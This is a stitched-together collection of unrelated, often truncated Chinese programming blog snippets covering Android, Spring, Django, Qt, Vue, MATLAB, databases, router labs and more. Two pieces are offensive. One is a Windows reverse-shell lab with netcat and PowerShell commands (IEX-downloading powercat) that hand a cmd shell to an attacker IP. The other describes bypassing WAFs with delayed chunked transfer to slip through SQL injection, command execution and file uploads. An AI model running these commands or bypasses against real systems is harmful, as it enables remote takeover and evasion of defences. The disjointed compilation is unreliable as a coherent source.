android.media.MediaPlayer.prepareAsync() 抛出 java.lang.IllegalStateException()

问题 分析 根据官网提供的状态机图 2. 结合自己的代码 3. 发现没有异常,把MediaPlayer相关代码单独摘出来做一个demo,没有异常。 demo和项目代码的区别是:demo中把SurfaceView.getHolder() 作为数据渲染控件。项目中把一个自定义的 SurfaceView子类 作为渲染控件。更换渲染控件,问题解决。 备注 使用自定义 SurfaceView子类 作为渲染控件时,调用 MediaPlayer.setDisplay(),并不会触发MediaPlayer.OnErrorListener().onError()。

ClassNotFoundException: org.springframework.boot.configurationprocessor.json.JSONException

升级系统之后启动,莫名奇妙的报这个错,因为有个controller抛出了jsonexception,引入了,pom里也加了processor的包,但是就是包找不到,直到同事找到了答案。 https://github.com/spring-projects/spring-boot/issues/24244 There is no possibility to disable filtering out configuration-processor jar from spring-boot-maven plugin · Issue #27697 · spring-projects/spring-boot · GitHub 原因大致是因为spring自己的问题,他把这个jar从package里面移除了。 解决方案呢就是换成 org.json <dependency> <groupId>org.json</groupId> <artifactId>json</artifactId> <version>20211205</version> </dependency> import org.json.JSONException;

windows反弹shell复现

windows反弹shell 简介: reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell类似,本质上是网络概念的客户端与服务端的角色反转,就是让目标机执行反向连接攻击机。 在实战中多配置命令执行等漏洞进行使用。 环境: 攻击机:IP为192.168.1.111,系统信息 Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux 目标机:IP为192.168.1.108,系统信息 Microsoft Windows 11 专业版 原理示意图: 一、netcat-windows反弹(nc反弹):需要攻击机安装netcat,通过netcat建立反向连接。 攻击机监听: nc -lvvp 6666 目标机执行: nc 192.168.1.111 6666 -e c:\windows\system32\cmd.exe 攻击机: 目标机: 二、Powershell-windows反弹 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。 一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。我们可以将powershell看做是命令提示符cmd.exe的扩展。 powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat。 1、使用powercat 攻击机监听: nc -lvp 6666 目标机执行(通过github远程下载执行): powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.111 -p 6666 -e cmd 攻击机: 目标机:

django的F表达式和Q函数应用与原理

一、F表达式 1.1 原理 F表达式是对数据库中某列值进行操作,允许还没有链接到数据的情况下对数据库字段的值进行操作,而不需要获取到对象放在内存中再对字段进行操作,直接执行原sql语句。 在通常情况下,我们在操作数据的时候都是先从数据库中将原数据取出放到内存中,然后再编辑某些属性,最后再提交。 1.2 应用 初始数据库数据 使用F字段直接进行数学运算 from django.db models import F res = models.Bbook.objects.all().update(read_num=F('read_num')+1) 操作之后,数据库中的数据都加5 Django中提供F 表达式, 就是将模型字段的值与同一模型中的另一个字段进行比较。 例如,查询read_num大于等于230的name: from django.db.models import F Game.objects.filter(bread__gte=F('read_num')) F() 对象使用常量和其他 F() 对象的加法,减法,乘法,除法,模和幂运算。 F()也可以具体到某一个字段的操作。 将阅读数增加100 Game.objects.update(price=F("read_num") + 100) 二、Q函数 2.1 原理 Q对象相当于查询时使用 or 语句 ;Q对象可以使用 & 和 | 进行组合运算, 当一个操作符用于两个Q对象时,它就会生成一个新的Q对象;Q对象可以用 “~” 操作符放在前面表示否定,也可允许否定与不否定形式的组合;Q对象可以与关键字参数查询一起使用,不过一定要把Q对象放在关键字参数查询的前面; 2.2 例子 # 查询价格大于等于70并且标题是“J”开头的书 Book.objects.filter(Q(price__gte=70)&Q(title__startswith="J")) # 查询标题是“J”开头并且id不是3的书 Book.objects.filter(Q(title__startswith="J") & ~Q(id=3)) # Q对象可以与关键字参数查询一起使用,必须把普通关键字查询放到Q对象查询的后面 print(Book.objects.filter(Q(price=70)|Q(title="Python"), publication_date="2017-09-26"))

Unity 3D 一些对Scene窗口的调整以及摄像头的调整技巧

入门小菜鸟,希望像做笔记记录自己学的东西,也希望能帮助到同样入门的人,更希望大佬们帮忙纠错啦~侵权立删。 目录 1、如何随心所欲地调整我们所看到的Scene窗口的角度呢? 2、如何让Scene窗口和Main Camera看到的一样? 今天初学Unity,刚开始就被Scene窗口和Main Camera整活 1、如何随心所欲地调整我们所看到的Scene窗口的角度呢? Alt+鼠标左键拖动Scene窗口,这样你就能让Scene窗口的视角随你而动 2、如何让Scene窗口和Main Camera看到的一样? 有时候你把Scene窗口里的东西调到你舒服了,结果往Main Camera里一看,可恶?!这是什么东西?又要进行一个调整 所以为了避免这样的悲剧,我们把Main Camera调整到和我们在Scene窗口看到的一样 解决方法: 点击”Main Camera“,然后Ctrl + Shift + F,就可以啦~ 欢迎大家在评论区批评指正,谢谢~

Qt编写自定义控件:简单的方式绘制渐变进度条

代码: #ifndef MYPROGRESSBAR_H #define MYPROGRESSBAR_H #include <QProgressBar> class myProgressBar : public QProgressBar { public: myProgressBar(QWidget * parent = nullptr); protected: void paintEvent(QPaintEvent *event)override; }; #endif // MYPROGRESSBAR_H #include "myprogressbar.h" #include <QPainter> #include <QStyleOptionProgressBar> #include <QStylePainter> #include <QDebug> #include <QPaintEvent> myProgressBar::myProgressBar(QWidget *parent) :QProgressBar(parent) { setMinimumSize(180,150); setAlignment(Qt::AlignCenter); } void myProgressBar::paintEvent(QPaintEvent *event) { QStylePainter painter(this); painter.setRenderHint(QPainter::Antialiasing,true); QStyleOptionProgressBar option; initStyleOption(&option); // painter.drawControl(QStyle::CE_ProgressBar,option); QStyleOptionProgressBar opt1 = option; opt1.rect = this->style()->subElementRect(QStyle::SE_ProgressBarContents, &opt1, this); QStyleOptionProgressBar opt2 = option; QRect rect = QRect(opt1.

CCFCSP历年认证考试真题解答汇总(已解决20道,持续更新ing)

以下为本人CCFCSP刷题记录,希望可以帮助到每一位想在这方面得到提升的码友们,也请各位对我写的不好的地方进行指正,大家一起进步。 说明:题目链接一栏可以直接进入到题目界面,试题名称一栏可以直接进入相应题解 在点击题目链接之前,请先登录CCFCSP认证官网,登录之后再点击题目链接就可以看见题目并且提交作答了 2022年3月CCFCSP认证 试题编号试题名称题目链接202203-1未初始化警告点击进入202203-2出行计划点击进入202203-3计算资源调度器点击进入202203-4通信系统管理点击进入202203-5博弈论与石子合并点击进入 2021年12月CCFCSP认证 试题编号试题名称题目链接202112-1序列查询点击进入202112-2序列查询新解点击进入202112-3登机牌条码点击进入202112-4磁盘文件操作点击进入202112-5极差路径点击进入 2021年9月CCFCSP认证 试题编号试题名称题目链接202109-1数组推导点击进入202109-2非零段划分点击进入202109-3脉冲神经网络点击进入202109-4收集卡牌点击进入202109-5箱根山岳险天下点击进入 2021年4月CCFCSP认证 试题编号试题名称题目链接202104-1灰度直方图点击进入202104-2邻域均值点击进入202104-3DHCP服务器点击进入202104-4校门外的树点击进入202104-5疫苗运输点击进入 2020年12月CCFCSP认证 试题编号试题名称题目链接202012-1期末预测之安全指数点击进入202012-2期末预测之最佳阈值点击进入202012-3带配额的文件系统点击进入202012-4食材运输点击进入202012-5星际旅行点击进入 2020年9月CCFCSP认证 试题编号试题名称题目链接202009-1称检测点查询点击进入202009-2风险人群筛查点击进入202009-3点亮数字人生点击进入202009-4星际旅行点击进入202009-5密信与计数点击进入 2020年6月CCFCSP认证 试题编号试题名称题目链接202006-1线性分类器点击进入202006-2稀疏向量点击进入202006-3Markdown渲染器点击进入202006-41246点击进入202006-5乔乔和牛牛逛超市点击进入 2019年12月CCFCSP认证 试题编号试题名称题目链接201912-1报数点击进入201912-2回收站选址点击进入201912-3化学方程式点击进入201912-4区块链点击进入201912-5魔数点击进入 2019年9月CCFCSP认证 试题编号试题名称题目链接201909-1小明种苹果点击进入201909-2小明种苹果(续)点击进入201909-3字符画点击进入201909-4推荐系统点击进入201909-5城市规划点击进入 2019年3月CCFCSP认证 试题编号试题名称题目链接201903-1小中大点击进入201903-2二十四点点击进入201903-3损坏的RAID5点击进入201903-4消息传递接口点击进入201903-5317号子任务点击进入 2018年12月CCFCSP认证 试题编号试题名称题目链接201812-1小明上学点击进入201812-2小明放学点击进入201812-3CIDR合并点击进入201812-4数据中心点击进入201812-5管道清洁点击进入 2018年9月CCFCSP认证 试题编号试题名称题目链接201809-1卖菜点击进入201809-2买菜点击进入201809-3元素选择器点击进入201809-4再卖菜点击进入201809-5线性递推式点击进入 2018年3月CCFCSP认证 试题编号试题名称题目链接201803-1跳一跳点击进入201803-2碰撞的小球点击进入201803-3URL映射点击进入201803-4棋局评估点击进入201803-5二次求和点击进入 2017年12月CCFCSP认证 试题编号试题名称题目链接201712-1最小差值点击进入201712-2游戏点击进入201712-3Crontab点击进入201712-4行车路线点击进入201712-5商路点击进入 2017年9月CCFCSP认证 试题编号试题名称题目链接201709-1打酱油点击进入201709-2公共钥匙盒点击进入201709-3JSON查询点击进入201709-4通信网络点击进入201709-5除法点击进入 2017年3月CCFCSP认证 试题编号试题名称题目链接201703-1分蛋糕点击进入201703-2学生排队点击进入201703-3Markdown点击进入201703-4地铁修建点击进入201703-5引水入城点击进入

解决[Vue warn]: Error in render: “TypeError: Cannot read properties of undefined (reading ‘********‘)“

[Vue warn]: Error in render: "TypeError: Cannot read properties of undefined (reading '****')" 在vue项目中,使用el-table时data使用slice对数组提取需要的字符串返回数组给data。当返回的是一个undefin时就会报这个错误,虽然不会影响程序的运行,但红色字体着实扎眼。 错误例子: <el-table :data=" tabelData.slice( (currentPage - 1) * pageSize, currentPage * pageSize ) " > 解决办法: 当数组没有数据时,该data计算返回的是一个undefined,会出现该错误。 这里应该有一个的兜底的东西,比如说,在这里计算出来的是一个空对象,那么就用一个空对象来兜底就不会报错,如果计算出来的是一个数组,就用数组兜底。 改正: <el-table :data=" tabelData.slice( (currentPage - 1) * pageSize, currentPage * pageSize ) || [{}] " >

Json的常用方法,Json和其他数据类型的转换

Json: Json是一种轻量级的数据交互交互格式,方便人们进行交互,并且方便计算机进行解析,Json是一种独立的完全独立的文本文本格式。 Json 是一种轻量级的数据交换格式。 轻量级指的是跟 xml 做比较。 数据交换指的是客户端和服务器之间业务数据的传递格式。 json 是由键值对组成,并且由花括号(大括号)包围。每个键由引号引起来,键和值之间使用冒号进行分隔, 多组键值对之间进行逗号进行分隔。 代码: var JsonObj ={“key1”:“悟空” ,"key2":悟能 } 如果Json中有多个数据需要使用逗号进行分割。 json 的访问 json 本身是一个对象。 json 中的 key 我们可以理解为是对象中的一个属性。 json 中的 key 访问就跟访问对象的属性一样: json 对象.key ***alert(jsonObj.key1);*** json 的两个常用方法 json 的存在有两种形式。 一种是:对象的形式存在,我们叫它 json 对象。 一种是:字符串的形式存在,我们叫它 json 字符串。 一般我们要操作 json 中的数据的时候,需要 json 对象的格式。 一般我们要在客户端和服务器之间进行数据交换的时候,使用 json 字符串。 JSON.stringify() 把 json 对象转换成为 json 字符串 JSON.parse() 把 json 字符串转换成为 json 对象 JSON 在 java 中的使用 ###Bean对象和Json的互相转换 注意:其中Gosn是第三方的Jar包,需要进行导入,Bean对象转换成为Json对象的时候中间是不会出现问题,但是Json对象在集合对象Map对象进行转换的时候,会有一些错误。

基于python中cv2库的图像分割

一.概念 1.简述Radon变换检测直线的原理。 Radon变换就是将数字图像矩阵在某一角度射线方向上做投影变换,按照投影方向累加像素。 2.简述基于区域生长的图像分割的原理。 根据同一物体区域内像素相似性质来聚集像素点。选定图像中的一个点(或一组点),从初始起点开始,将相邻的具有同样性质的像素或归并到目前的区域中从而逐步增长区域,直到没有可以归并的点为止。 3. 简述基于分水岭算法进行图像分割的原理。 将图像看作拓扑地貌,图像中的每一点像素的灰度值表示该点的海拔高度,每一局部极小值及其影响区域就是集水盆地,集水盆地的边界则形成分水岭。在每一个局部最小值表面刺穿一个孔,然后向模型里注水,随着水量增多,局部最小值的影响逐渐向外扩展,而集水盆间交界处筑成大坝即形成分水岭。 4.如何计算一个区域内部的一致性或者平滑性 方法一:Sobel算子利用像素邻近区域的梯度值来计算一个像素的梯度,再根据一定的绝对值来判断其是不是噪声点。 方法二:计算图像一块区域的像素平均值,再算出该区域内每个点像素值与均值的差绝对值,设定阈值,大于某个阈值则该点算为噪声点。 5.如何计算两个区域之间的相似性或者距离 方法一:Kolmogorov-Smirnov检验:统计两个区域0-255每个像素值出现的次数,比较像数值的频率分布,两个区域间每个元素对应一个频率差值,如果最大的频率差值小于规定的值,则两区域相似,反之不相似。 方法二:通过直方图余弦值计算相似性。将两区域像素点的灰度值统计成直方图,压缩灰度级别,每间隔四个数合为一个分向量,共分为64个分向量,记作一个向量;计算2个区域向量夹角的余弦值,作为相似度。 二.编程题 1.图像分割的目的是把图像分割成若干区域。请查阅相关文档,理解如何计算分割算法准确率。写出函数实现该方法。 1.1平均交并比原理: 1.2 函数实现: def create_hist(a,b,n): """ :param a: 形状为H*W的预测值(H为高,W为宽) :param b: 形状为H*W的真实值(H为高,W为宽) :param n: 类别数 :return: 混淆矩阵 """ #确保a和b在0~n-1的范围内 k = (a>=0)&(a<n) return np.bincount(n*a[k].astype(int) + b[k],minlength=n**2).reshape(n,n) def per_iou(hist): """ :param hist:传入混淆矩阵(n,n) :return: 每个类别的iou """ #因为交并比有除法,防止分母出现0报错 np.seterr(divide="ignore",invalid="ignore") #交集:np.diag取对角线元素 #并集:hist.sum(0)和hist.sum(1)两个维度相加,减去多加了一次的对角线元素 iou = np.diag(hist) / (hist.sum(0)+hist.sum(1)-np.diag(hist)) #把报错调回来 np.seterr(divide="warn",invalid="warn") #分母为0时结果是Nan,将Nan值改为0 iou[np.isnan(iou)] = 0 return iou 2 .针对shapes.png, 利用颜色信息把图像进行分割,把结果作为分割的标准答案。 2.

C语言函数的递归

文章目录 一、递归函数的定义二、函数调用机制说明三、递归调用的形式 一、递归函数的定义 所谓递归函数是指一个函数的函数体中直接调用或间接调用了该函数自身的函数。 递归函数调用的执行过程分为两个阶段。 递推阶段:从原问题出发,按递归公式递推从未知到已知,最终达到递归终止条件。 回归阶段:按递归终止条件求出结果,逆向逐步代入递归公式,回归到原问题求解。 示例程序如下: #include<stdio.h> double factorial(int n); int main() { double r; r=factorial(5); printf("5!=%lf\n",r); return 0; } double factorial(int n) { if(n<=1) return 1; return(n*factorial(n-1)); } 程序执行结果如下: 5!=120.000000 该程序实现了n!,已知0!或1!是1。递归规律是:n!=n×(n-1)!。 二、函数调用机制说明 任何函数之间不能嵌套定义,调用函数与被调用函数之间相互独立(彼此可以调用)。发生函数调用时,被调函数中保护了调用函数的运行环境和返回地址,使得调用函数的状态可以在被调函数运行返回后完全恢复,而且该状态与被调函数无关。 被调函数运行的代码虽是同一个函数的代码体,但由于调用点,调用时状态,返回点的不同,可以看作是函数的一个副本,与调用函数的代码无关,所以函数的代码是独立的。被调函数运行的栈空间独立于调用函数的栈空间,所以与调用函数之间的数据也是无关的。函数之间靠参数传递和返回值来联系,函数看作为黑盒。 三、递归调用的形式 递归调用有直接递归调用和间接递归调用两种形式。 直接递归即在函数中出现调用函数本身。 void a() ( a();/*函数a中调用函数a,直接递归*/ } 而其他函数又调用了本函数,这一过程称间接递归。 void a() ( b();/*函数a中调用函数b*/ } void b() ( a();/*函数b中调用函数a-间接递归*/ )

TortoiesGit基本使用方法教程

TortoiesGit基本使用方法教程 1.步骤1 新建一个文件夹 创建一个文件夹用来保存Git仓库内容 2.步骤2 克隆仓库 2.1 文件夹中克隆 在文件夹空白处右键出现 Git克隆 2.2 填写URL 2.2.1 找到仓库URL 复制https路径 2.2.2 填写进URL 填写URL 点击确定 等待成功 那么托管代码仓库就已经在本地仓库生成了 用I开发工具直接打开并且配置好 3. 代码开发步骤 3.1 先提交修改的文件或者需要提交的文件 填写好日志信息 以及勾选下方文件!!! 点击提交 但是它并没有更新到仓库里面!!! 但是它并没有更新到仓库里面!!! 但是它并没有更新到仓库里面!!!(重要的事情说三遍) 只有提交后 点击推送才进入到仓库里!!!

【信号与系统】【MATLAB】二、求解系统的响应

零状态响应 % 求解系统的响应 % 求解LTI系统的零状态响应函数 y = lsim(sys,f,t) % t为计算的抽样点向量 ,f是系统输入信号,sys是LTI系统模型 % sys 需要借助tf函数获得 ,sys = tf(b,a) : b,a分别是微分方程右端和左端各项的系数 % 例:y''(t)+ 2y'(t)+ 3y(t) = f'(t) + 2f(t) 在t>=0时接入激励f(t)=5*sin(2 *pi *t),求零状态响应 sys=tf([1 2],[1 2 3]); t=0:0.01:5; f=10*sin(2*pi*t); y=lsim(sys,f,t); plot(t,y); xlabel('t') ylabel('y') 冲激响应和阶跃响应 % 冲激响应和阶跃响应 % 以下的a、b就是各阶导数的系数,可参考上面例程的注释代码 a=[1 2 3]; b=[1 2]; subplot(2,1,1) impulse(b,a); % 冲激响应 subplot(2,1,2) step(b,a); % 阶跃响应

计算机408+数据库【适合考研复试或期末复习】

写在前面,这是自己准备考研复试,看的一些视频,总结下来的知识点。当然如果这篇文章能够帮助到你,可以点赞收藏,如果写的不妥的地方,欢迎指出。 数据库 第一章 Data:描述现实世界的一些符号,包括图片,声音,多媒体等形式,和语法,语义有关系。 DB:指长期存储在计算机内的有组织、可共享、大量的数据 DBMS:用户和操作系统之间的数据管理运用,帮助我们更有效的存储数据,有以下几个功能,数据定义,数据操作,数据管理与维护,数据库的创建与运行,为我们的用户提供了公共接口 DBS:是计算机引入了数据库之后的系统,包括数据库,数据库管理系统,应用程序,用户 DBA:是数据库管理员,从事管理与维护 数据库的优点: 整体数据的结构(和文件系统最大的区别) 低冗余:不需要重复存储大量的数据 高共享,易扩展(面向整个系统) 高数据独立性(逻辑独立性和物理独立性,数据库和应用程序是在逻辑和物理上都是独立的): 由DBMS统一管理(安全性,完整性,并发控制,数据恢复) 文件系统的缺点: 冗余度高:面向某一应用程序可共享性差:由应用管理独立性差:数据不一致内部有结构,整体无结构 数据模型:是数据库系统的核心、基础,它是对现实数据特征的一个抽象,其概念:严格定义的概念集合,描述了系统的静态特征(数据结构,描述数据库组成对象与联系,根据数据结构的类型来划分数据模型),动态特征(数据操作,对对象的实例所允许的操作集合和操作有关的规则),完整性约束条件(保证数据制约,依存规则,有正确,有效,相容) 概念模型:用户的观点来对信息、数据进行建模,用于设计阶段,也叫信息模型(信息世界) 实体:现实世界里客观存在,相互区分的事物(eg:学生,老师)属性:描述实体具有的某一特征(eg:学生的体重,升高)码:可以唯一标识实体的属性集实体型:用实体名(属性名集合)来抽象同一类实体(老师的身高,体重;老师的工资,职称)实体集:指同一类实体的集合(所有的学生)联系:真实事物内部和事物之间的一种联系,在信息世界里面反应为实体的内部和实体间的联系(1:1,1:n,n:m) 逻辑模型和物理模型:逻辑模型,用于数据库的实现阶段;物理模型,数据在系统的表示方式和存储方法 常用的数据模型: 层次模型:只有一个跟节点,根以外的其他节点只有一个双亲节点,优点:查询效率高,结构简单清晰,完整性支持好。 网状模型:DBTG(CODASYL)允许一个以上无双亲,一个节点允许多个双亲。优点:能较好描述现实世界,查询简单,性能好,存储效率高,缺点:结构复杂,不易嵌入高级语言,必须了解存储路径。 关系模型:建立在严格的数学概念上。是规范化的,要求关系中的分量都是不可再分的数据项 关系:一张表 元组:表中的一行 属性:表中的一列 码:表中的某个属性组组成,可以唯一确定元组 域:相同数据类型值的集合,属性,取值范围 分量:元组中的一个属性值 关系模式:关系的描述,可表示为关系名(属性1,属性2…) 优缺点: 严格的数学概念基础概念单一,清晰易用存取路径对用户透明,有更好的存储独立性和安全保密性,简化了开发易于嵌入高级语言 E-R图又称实体关系图,是一种提供了实体,属性和联系的方法,用来描述现实世界的概念模型。通俗点讲就是,当我们理解了实际问题的需求之后,需要用一种方法来表示这种需求,概念模型就是用来描述这种需求。矩形为实体,椭圆为属性,菱形为联系,连线为关系,下划线为主键。 三级模式两层映像:三级模式是指外模式,模式和内模式。两层映像是外模式/模式映象:定义外模式与模式之间的对应关系。模式/内模式映象:定义数据全局逻辑结构与储存结构的对应关系。 第二章(关系数据库) 定义:支持关系模型的系统:数据结构+数据操作+完整性约束 笛卡儿积:域上面的操作,取域上不重复的集合来排列组合 三级模式结构:外模式,模式,内模式 关系的类型: 基本表(基本关系):实际存在的表,实际存储的逻辑表示 六条性质:列同性质,不同列可同域,列的顺序随意,行的顺序随意,任意两个元组候选码不能相同,分量是不可再分的数据项 查询表:查询结果对应的表视图表:基本表或者是其他视图导出来的表,是一个虚表,不对应实际存储的数据 关系模式是对关系的描述 R(U,D,DOM,F) R:关系名U:组成关系的属性名集合D:U中属性的域DOM:属性向域的映像集合F:属性间数据的依赖关系集合 关系操作(操作的对象都是集合,包括关系代数(运算)和关系演算(谓词,分为域和元组)): 查询: 关系运算符: 选择:F®={t|t∈R∩F(t)=‘真’},从行来运算投影 :Πa® = {t[A] | t ∈ R},从列来运算(会消除重复行)连接:先进行笛卡儿积然后进行不同的选择(消除重复的列,以行来运算)除:R÷S={t[X] | t∈ R∩Π(S)包含Y }先求X,Y,Z,再求X在Y上的投影,S在Y上的投影 集合运算关系:并,差,交,笛卡儿积 关系完整性: 实体:如果A是关系R的主属性,则其不能为空(实体和参照是关系的两个不变性)参照:如果F是基本关系R里面的基本属性,和基本关系S的主码相对应(R,S可以相同,对于R中每个元组,在F上的值,要么取空值,要么等于某个元组的主码值)用户自定义:是针对某一具体关系数据库的约束条件,反映具体应用某数据必须满足的某一要求 第三章:SQL SQL:结构化查询语言,关系数据库的标准语言 功能:数据查询,数据定义,数据操纵,,数据控制,完整性,安全性等 目前没有DBS,SQL标准所有的概念和特性 SQL特点:

HCIP-RIP综合实验

实验需求: 1-R2-R3-R4-R5运行RIPV2,R6-R7运行RIPV11,使用合理IP地址规划网络,各自创建环回接口 2, R1创建环回172.16.1.1/24 172.16.2.1/24 172.16.3.1/24 3,要求R3使用R2访问R1环回 4,减少路由条目数量,增加路由传递安全性 5, R5创建一个环回模拟运营商,不能宣告 6, R1 telnet R2环回实际teInet到R7上 7, R6-R7路由器不能学习到达R1环回路由 8,全网可达 实验报告 第一步进行IP划分,环回划分,以及r1三个环回汇总 IP:192.168.1.0~192.168.6.0 各自环回:1.1.1.1~7.7.7.7 r1汇总:1720.16.0.0/22(255.255.252.0) 第二步r1~r5配置RIPV2,R6-R7配置RIPV1 第三步r1配置环回汇总 第四步r6上添加ripv2使用0/0/0接口使得ripv1和ripv2互通 第五步在r3上做入接口抓取并且进行修改开销值 第六步r1做一个手工认证增加路由传递安全性 第七步r1做一个空接口路由,防止路由环路 第八步由于r5不能进行宣告环回,配个缺省 第九步在r6上进行过滤,让r6-r7不能学习到r1环回 第十步r7开启telnat,r2做端口映射 一,分配IP r1 [r1]int g 0/0/0 [r1-GigabitEthernet0/0/0]ip add 192.168.1.1 24 [r1-GigabitEthernet0/0/0]int g 0/0/1 [r1-GigabitEthernet0/0/1]ip add 192.168.4.1 24 [r1-GigabitEthernet0/0/1]int l0 [r1-LoopBack0]ip add 1.1.1.1 24 [r1-LoopBack0]int l1 [r1-LoopBack1]ip add 172.16.1.1 24 [r1-LoopBack1]int l2 [r1-LoopBack2]ip add 172.16.2.1 24 [r1-LoopBack2]int l3 [r1-LoopBack3]ip add 172.

基于Vue3,Element Plus的一款表单设计器,支持生成Element和Antd样式的表单

简介 FormMaking v3 是基于 Vue 3.x 和 Element Plus 开发的可视化/低代码表单设计器,可以生成 Element 和 Antd 样式的表单。 FormMaking 目前已被民航、政务、教育、医疗、测绘、金融、网络安全、智慧城市等不同领域采用,V3 版本完全支持兼容 FormMaking,在使用和功能上完全一致。 预览地址:https://form.making.link/v3/sample/?from=csdn 文档地址:https://www.yuque.com/form-making/dpaoao 特色功能 丰富的字段 提供了常见的基础字段,复杂的高级字段和布局字段,可以满足一般的需求,如果有特殊的组件要求,可以将自己的组件导入到设计器中,一样可以实现配置。 数据源 提供了数据源管理,可以对接口数据进行管理和操作,并能做在线测试。 低代码配置 可以通过动作事件配置,并调用表单API来实现表单内部的一些操作。 复杂的布局 结语 此处就不把功能一一介绍完了,有兴趣的同学可以到官网进行体验。 预览地址:https://form.making.link/v3/sample/?from=csdn 文档地址:https://www.yuque.com/form-making/dpaoao

微信小程序:map地图自动缩放自适应大小

文档: https://developers.weixin.qq.com/miniprogram/dev/api/media/map/wx.createMapContext.htmlhttps://developers.weixin.qq.com/miniprogram/dev/api/media/map/MapContext.includePoints.html map提供了 scale 参数,用于大小缩放,不过在需要标记多个点的时候,更期待的是根据地图上显示的内容,自动缩放地图到合适的比例。 <map id="map" show-location></map> 实现代码 // 获取地图实例 let MapContext = wx.createMapContext('map'); // 换成具体的坐标点 points = [{longitude, latitude}]; MapContext.includePoints({ points: points, // 缩放视野展示所有经纬度 [上,右,下,左] padding: [140, 60, 260, 60], });

走进前端、VSCode插件的安装及其使用

目录 一、走进前端 二、VSCode简单介绍 三、VSCode的下载及安装 四、VSCode插件的安装 五、部分插件及其使用 1.汉化 2.Bracket Pair Colorizer 3.markdownlint 4.open in browser 5.Path Intellisense 6.Prettier 7.vscode-icons 8.Indent-Rainbow 9.Atuo Rename Tag 10.filesize 一、走进前端 前端,也称web前端,通俗地讲:实现与用户沟通交互,展示给用户的,用户看到的网页浏览器界面,安装的软件应用程序等就是前端。 前端开发需要掌握HTML、CSS、JS等来提供前端应用运行的代码,前端应用的多媒体内容是由图片和视频等提供的。 前端应用由一个或多个应用页面构成,应用页面也俗称为网页或简称为页面。只有一个页面的前端应用成为单页面应用,而多页面应用是通过多个页面间的静态或动态链接而相互管理起来的应用。 二、VSCode简单介绍 VSCode的全称是Visual Studio Code,它可以运行于 Mac OS、Windows 和 Linux平台 ,具有 JavaScript,TypeScript 和 Node.js 的内置支持,还具有例如 C++、C#、Java、Python、PHP、Go 运行时的生态系统,是微软于2015年发布的一款免费开源的现代化轻量级代码编辑器。 三、VSCode的下载及安装 可以直接在官网下载,进入官网后点击download(一般在右上角)按照需求选择版本后即可下载。 官网链接:Visual Studio Code - Code Editing. Redefined 安装时注意勾选:将通过code 打开“操作添加到windows资源管理器文件上下文菜单”和将通过code 打开“操作添加到windows资源管理器目录上下文菜单”,便可以对文件使用鼠标右键,选择VSCode 打开。建议勾选:添加到PATH(重启后生效),便可以使用控制台打开VSCode 。 四、VSCode插件的安装 点击vscode左下面的拓展按钮或者ctrl + shift + x,就会出现搜索框,搜索你想要的插件即可。搜索后在右边还会出现该插件的详细功能,点击安装,等待后就会将目标插件安装成功。安装完成后重启vscode,就可以了。同样,也可以在插件的详情界面将已安装的插件禁用或卸载。 五、部分插件及其使用 1.汉化 按下Ctrl+Shift+P打开搜索框,输入Configure Display Language,设置 zh-cn 关闭软件重启。

WAF 延时分块传输绕过

前言 之前写过两篇关于WAF分块传输绕过内容对文章,对于分块传输不太熟悉的可以先看前两篇内容,本篇文章也是在其基础内容上进行扩充。 《WAF 分块传输绕过》《WAF HTTP协议覆盖+分块传输组合绕过》 0x01 WAF分块传输利用 1.SQL注入绕过 在HTTP协议覆盖的基础上可以配合分块编码传输组合绕过WAF检测 利用chunked-coding-converter插件功能一键分块传输编码 编码后 2.命令执行绕过 与SQL注入绕过同理,利用分块传输编码绕过WAF检测,成功执行系统命令 编码前 编码后 3.文件上传绕过 在有WAF防护的情况下,直接上传php等脚本后缀格式文件会被检测拦截。利用分块传输编码绕过WAF检测,成功上传php等脚本文件 编码前 编码后 0x02 WAF延时分块传输 前面简单介绍了WAF分块传输的几种应用场景,实际利用场景远不局限于上述几种,只要目标系统是支持HTTP/1.1的POST包都支持分块传输。接下来再介绍一下WAF延时分块传输的利用方式。 1. 延时分块传输简介 分块传输已经被公开多年了,目前很多WAF都已经支持WAF分块传输检测,可以通过延时分块传输绕过普通WAF检测规则。 WAF一般通过以下步骤检测分块传输内容: 发现数据包是分块传输,启动分块传输线程进行接收分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n将所有分块合并,并检测合并之后的内容 chunked-coding-converter 插件实现了在上一块传输完成后,sleep一段时间,再发送下一块。 目的是在2阶段延长WAF分块传输线程的等待时间,从而消耗WAF性能。 注意:块与块之间发送的间隔时间必须要小于后端中间件的post timeout,Tomcat默认是20s,weblogic是30s。 为了加大WAF的识别难度,chunked-coding-converter 插件支持了延时时间随机化、分块长度随机化、垃圾注释内容与长度随机化[可选]等。 chunked-coding-converter 插件可以显示预估分块数量范围和延时范围,显示每一块发送的内容,长度,延时时间以及发送状态等等。 2. 延时分块传输插件 如果你的BurpSuite启动时使用了汉化插件,并且使用的是作者默认打包好chunked-coding-converter 插件,则可能会出现如下报错: 通过排查原因,发现原作者插件的代码中只识别英文的Start、Stop、Clear等,汉化插件会将英文转化为开始、停止、清空等,导致插件无法识别功能按钮,从而导致运行插件报错。 知道原因后就可以解决问题了,为了不影响汉化插件和分块传输插件的同时使用,博主修改分块传输插件的源码按钮的Start修改为StartChunked,Stop修改为StopChunked、Clear修改为ClearChunked等,最终重新打包插件效果如下: 重新打包插件下载:https://pan.baidu.com/s/1xqK8qohJIMeBuFoPhucr7w 提取码: emwg 3. 延时分块传输利用 以SQL注入绕过为例,直接在数据包界面使用chunked-coding-converter插件的sleep chunked sender功能 可以根据实际场景设置好分块传输的长度,以及分块传输的延迟时间,配置好后点击右上角的Start功能,即可开始延时分块传输 延时分块传输结束以后,可以在Response界面查看SQL注入后的响应数据包的结果 参考文章 https://gv7.me/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/